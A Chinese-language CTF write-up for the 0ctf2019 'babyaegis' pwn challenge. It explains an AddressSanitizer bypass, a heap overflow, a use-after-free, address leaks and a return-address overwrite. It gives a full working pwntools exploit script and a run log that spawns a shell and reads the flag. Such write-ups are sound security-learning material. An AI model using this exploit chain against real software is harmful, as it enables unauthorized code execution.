0ctf2019 pwn babyaegis writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
    1. 2.1. 后门 secret
    2. 2.2. heap overflow
    3. 2.3. UAF
  3. 3. 思路
    1. 3.1. 绕过 AddressSanitizer
    2. 3.2. heap overflow
    3. 3.3. 泄露地址
    4. 3.4. 改ret地址拿shell
  4. 4. 完整脚本
    1. 4.1. 运行实例
  5. 5. 总结

做这道题之前需要对 AddressSanitizer 有所了解。

源程序和相关文件下载:babyaegis.zip

安全防护

ex@Ex:~/test$ checksec aegis
[*] '/home/ex/test/aegis'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
UBSAN: Enabled

溢出点

后门 secret

void __cdecl secret()
{
char *v0; // rax
char *v1; // [rsp+0h] [rbp-10h]

if ( secret_enable )
{
printf("Lucky Number: ");
v1 = (char *)read_ul();
if ( (unsigned __int64)v1 >> 44 )
v0 = (char *)((unsigned __int64)v1 | 0x700000000000LL);
else
v0 = v1;
*v0 = 0;
secret_enable = 0;
}
else
{
puts("No secret!");
}
}

有一次对大于0x700000000000的任意地址填充NULLbyte的机会。

heap overflow

每次执行update_note函数后,可以控制的内存长度会加1。

size = strlen(*(_QWORD *)v9) + 1;
v10 = read_until_nl_or_max(v2, size);

UAF

delete_note中函数free掉chunk后,没有置NULL。

思路

  1. 绕过 AddressSanitizer
  2. heap overflow
  3. 泄露地址
  4. 改ret地址拿shell

绕过 AddressSanitizer

heap overflow时,会把ID写入到0x602000000020地址,在写入之前AddressSanitizer会检查0x602000000020是否有可写权限,显然是没有的。

pwndbg> pr 0
$1 = (note_struct *) 0x602000000030
$2 = {
malloc_ptr = 0x602000000010 "aaaaaaa\377\377\377\377\377\377\377\377\276\002",
cfi_check = 0x557dc3c46ab0 <cfi_check>
}
0x602000000000: 0x02ffffff00000002 0x4e80000120000010
0x602000000010: 0xff61616161616161 0xbeffffffffffffff
0x602000000020: 0x02ffffff00000002 0x1500000120000010
0x602000000030: 0x0000602000000010 0x0000557dc3c46ab0
pwndbg> sa 0x602000000020
$3 = 0xc047fff8004 "\372", <incomplete sequence \372>
0xc047fff8004: 0xfa 0xfa 0x00 0x00 0xfa 0xfa 0xfa 0xfa

这时我们需要用后门函数将(0x602000000020 >> 3) + 0x7FFF8000也就是0xc047fff8004这里置0,来绕过AddressSanitizer检测。

add_note(0x10, 'a' * 8, 0xffffffffffffffff)
sh.recvuntil('Choice: ')
sh.sendline('666')
# Set 0x602000000020 to be able to read and write
sh.sendlineafter('Lucky Number: ', str((0x602000000020 >> 3) + 0x7FFF8000))

heap overflow

可以heap overflow之后,将chunkuser_requested_size改为大于256M的数值,之后malloc的将还是这块chunk

让我们看看没有修改之前的ChunkHeader

pwndbg> ch 0x602000000020
$4 = {
chunk_state = 0x2,
alloc_tid = 0x0,
free_tid = 0xffffff,
from_memalign = 0x0,
alloc_type = 0x1,
rz_log = 0x0,
lsan_tag = 0x0,
user_requested_size = 0x10,
user_requested_alignment_log = 0x1,
alloc_context_id = 0x15000001
}

由于alloc_context_id的值是不固定的,所以这里要用到部分覆盖技术,必须保证该值不变,否则会crash。

update_note(0, 'b' * 0x12, u64('ccc\0\0\0\0\0'))
update_note(0, 'd' * 0x10 + p32(0x00000002) + 'e', (0x20000010 + 0x10000000) * 0x100000000 + 0x02ffffff) # 0x10000000 -> 256M

修改完后调试查看:

pwndbg> pr 0
$5 = (note_struct *) 0x602000000030
$6 = {
malloc_ptr = 0x602000000010 'd' <repeats 16 times>, "\002",
cfi_check = 0x557dc3c46ab0 <cfi_check>
}
0x602000000000: 0x02ffffff00000002 0x4e80000120000010
0x602000000010: 0x6464646464646464 0x6464646464646464
0x602000000020: 0x02ffffff00000002 0x1500000130000010
0x602000000030: 0x0000602000000010 0x0000557dc3c46ab0
pwndbg> ch 0x602000000020
$7 = {
chunk_state = 0x2,
alloc_tid = 0x0,
free_tid = 0xffffff,
from_memalign = 0x0,
alloc_type = 0x1,
rz_log = 0x0,
lsan_tag = 0x0,
user_requested_size = 0x10000010,
user_requested_alignment_log = 0x1,
alloc_context_id = 0x15000001
}

之后删除该chunk,在malloc一遍就chunk overlaping了。

delete_note(0)
add_note(0x10, p64(0x602000000018), 0) # index 1

结果如下,可以看到index_1malloc_ptr控制着0x0000602000000018,而0x0000602000000018刚好就是index_0malloc_ptr,也就相当于可以任意地址读写:

pwndbg> pa
$8 = (note_struct *) 0x602000000030
$9 = {
malloc_ptr = 0x602000000018 "\260j\304\303}U",
cfi_check = 0xbe00000000000000
}
0x602000000008: 0x1500000120000010 0x0000602000000030
0x602000000018: 0x0000557dc3c46ab0 0x02ffffff00000002
0x602000000028: 0x4e80000120000010 0x0000602000000018
0x602000000038: 0xbe00000000000000 0x0000000000000000
$10 = (note_struct *) 0x602000000010
$11 = {
malloc_ptr = 0x602000000030 "\030",
cfi_check = 0x557dc3c46ab0 <cfi_check>
}
0x602000000020: 0x02ffffff00000002 0x4e80000120000010
0x602000000030: 0x0000602000000018 0xbe00000000000000
0x602000000040: 0x0000000000000000 0x0000000000000000
0x602000000050: 0x0000000000000000 0x0000000000000000
$12 = (note_struct *) 0x0
Cannot access memory at address 0x0

泄露地址

这里我们要泄露基地址、libc地址、栈地址。

show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
image_addr = u64(result.ljust(8, '\0')) - elf.symbols['cfi_check']
log.success("image_addr: " + hex(image_addr))


puts_got_addr = image_addr + elf.got['puts']
temp = p64(puts_got_addr)
update_note(1, temp[:1] + 'f' , u64(temp[1:] + 'g'))

show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success("libc_addr: " + hex(libc_addr))
# pause()
update_note(1, p64(libc_addr + libc.symbols['environ']) , 0)
# pause()
show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
stack_addr = u64(result.ljust(8, '\0'))
log.success("stack_addr: " + hex(stack_addr))

改ret地址拿shell

这里改main函数的地址的话会被UndefinedBehaviorSanitizer检测出来,所以这里改的是read_until_nl_or_max函数的返回地址。

read_until_nl_or_max_ret_addr = stack_addr - 0x150
log.success("read_until_nl_or_max_ret_addr: " + hex(read_until_nl_or_max_ret_addr))

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

update_note(1, p64(read_until_nl_or_max_ret_addr) , 0)
one_gadget_addr = libc_addr + 0x4f322
log.success("one_gadget_addr: " + hex(one_gadget_addr))

# update_note(0, p64(libc_addr + libc.symbols['gets']) , 0)
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.sendlineafter('Index: ', str(0))
sh.sendafter('New Content: ', p64(libc_addr + libc.symbols['gets']))
# pause()

# 0x000000000001c843 : pop rdi ; ret
pop_rdi_ret = 0x000000000001c843
sh.sendline('i' +
p64(one_gadget_addr) +
p64(image_addr + pop_rdi_ret) +
p64(0) +
p64(libc_addr + libc.symbols['exit']) +
'\0' * 0x30
)

sh.interactive()

由于没有一个onegadget满足约束条件,但是恰好在read_until_nl_or_max返回时,其rdi的值指向栈的read_until_nl_or_max_ret_addr旁边,所以这里用gets函数来创造约束条件。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
typedef struct note_struct{
char *malloc_ptr;
void *cfi_check;
}note_struct;

note_struct no_use;

typedef unsigned int u32;
struct ChunkHeader {
// 1-st 8 bytes.
u32 chunk_state : 8; // Must be first.
u32 alloc_tid : 24;

u32 free_tid : 24;
u32 from_memalign : 1;
u32 alloc_type : 2;
u32 rz_log : 3;
u32 lsan_tag : 2;
// 2-nd 8 bytes
// This field is used for small sizes. For large sizes it is equal to
// SizeClassMap::kMaxSize and the actual size is stored in the
// SecondaryAllocator's metadata.
u32 user_requested_size : 29;
// align < 8 -> 0
// else -> log2(min(align, 512)) - 2
u32 user_requested_alignment_log : 3;
u32 alloc_context_id;
};

struct ChunkHeader no_use2;
'''

f = open('/tmp/gdb_symbols.c', 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
print(e)

# context.log_level = 'debug'
execve_file = './aegis'
sh = process(execve_file, env={"LD_PRELOAD":"/tmp/gdb_symbols.so"})
# sh = process(execve_file)
# sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch = "amd64"

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $glo=(note_struct **)&notes

define pr
p $glo[$arg0]
p *$glo[$arg0]
x/8gx $glo[$arg0]->malloc_ptr-16
end

define all
p *$glo@32
end

define pa
pr 0
pr 1
pr 2
pr 3
end

define sa
p (char *)((($arg0) >> 3) + 0x7FFF8000)
x/8bx ((($arg0) >> 3) + 0x7FFF8000)
end

define ch
p/x *(struct ChunkHeader *)($arg0)
end

# b *$rebase(0x113D60)
# b *$rebase(0x1145F0)
set $c=(struct ChunkHeader *)0x602000000020
# c
'''

f = open('/tmp/pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdbscript', 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def add_note(size, content, id):
sh.recvuntil('Choice: ')
sh.sendline('1')
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Content: ', content)
sh.sendlineafter('ID: ', str(id))

def update_note(index, content, id):
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.sendlineafter('Index: ', str(index))
sh.sendafter('New Content: ', content)
sh.sendlineafter('New ID: ', str(id))

def delete_note(index):
sh.recvuntil('Choice: ')
sh.sendline('4')
sh.sendlineafter('Index: ', str(index))

def show_note(index):
sh.recvuntil('Choice: ')
sh.sendline('2')
sh.sendlineafter('Index: ', str(index))

add_note(0x10, 'a' * 8, 0xffffffffffffffff)
sh.recvuntil('Choice: ')
sh.sendline('666')
# Set 0x602000000020 to be able to read and write
sh.sendlineafter('Lucky Number: ', str((0x602000000020 >> 3) + 0x7FFF8000))
# pause()

update_note(0, 'b' * 0x12, u64('ccc\0\0\0\0\0'))
update_note(0, 'd' * 0x10 + p32(0x00000002) + 'e', (0x20000010 + 0x10000000) * 0x100000000 + 0x02ffffff) # 0x10000000 -> 256M

delete_note(0)
add_note(0x10, p64(0x602000000018), 0) # index 1

show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
image_addr = u64(result.ljust(8, '\0')) - elf.symbols['cfi_check']
log.success("image_addr: " + hex(image_addr))


puts_got_addr = image_addr + elf.got['puts']
temp = p64(puts_got_addr)
update_note(1, temp[:1] + 'f' , u64(temp[1:] + 'g'))

show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success("libc_addr: " + hex(libc_addr))
# pause()
update_note(1, p64(libc_addr + libc.symbols['environ']) , 0)
# pause()
show_note(0)

sh.recvuntil('Content: ')
result = sh.recvline()[:-1]
stack_addr = u64(result.ljust(8, '\0'))
log.success("stack_addr: " + hex(stack_addr))
read_until_nl_or_max_ret_addr = stack_addr - 0x150
log.success("read_until_nl_or_max_ret_addr: " + hex(read_until_nl_or_max_ret_addr))

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

update_note(1, p64(read_until_nl_or_max_ret_addr) , 0)
one_gadget_addr = libc_addr + 0x4f322
log.success("one_gadget_addr: " + hex(one_gadget_addr))

# update_note(0, p64(libc_addr + libc.symbols['gets']) , 0)
sh.recvuntil('Choice: ')
sh.sendline('3')
sh.sendlineafter('Index: ', str(0))
sh.sendafter('New Content: ', p64(libc_addr + libc.symbols['gets']))
# pause()

# 0x000000000001c843 : pop rdi ; ret
pop_rdi_ret = 0x000000000001c843
sh.sendline('i' +
p64(one_gadget_addr) +
p64(image_addr + pop_rdi_ret) +
p64(0) +
p64(libc_addr + libc.symbols['exit']) +
'\0' * 0x30
)

sh.interactive()

运行实例

ex@Ex:~/test$ python exp.py 
[+] Opening connection to eonew.cn on port 60107: Done
[*] '/home/ex/test/aegis'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
UBSAN: Enabled
[*] '/home/ex/test/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
list index out of range
[+] image_addr: 0x5584a0ca6000
[+] libc_addr: 0x7ff632fbc000
[+] stack_addr: 0x7ffd9c3c17f8
[+] read_until_nl_or_max_ret_addr: 0x7ffd9c3c16a8
[+] one_gadget_addr: 0x7ff63300b322
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ ls
aegis
flag
$ cat flag
d9b9d839a689ca83032db45722d75c84a3da163f
$

总结

绕过 AddressSanitizer 是本题的重点。而且有AddressSanitizer保护的程序,其反汇编出来的代码由于有很多内存检查掺杂在程序流中,会使得程序变得很难看,这时需要我们抓住核心代码。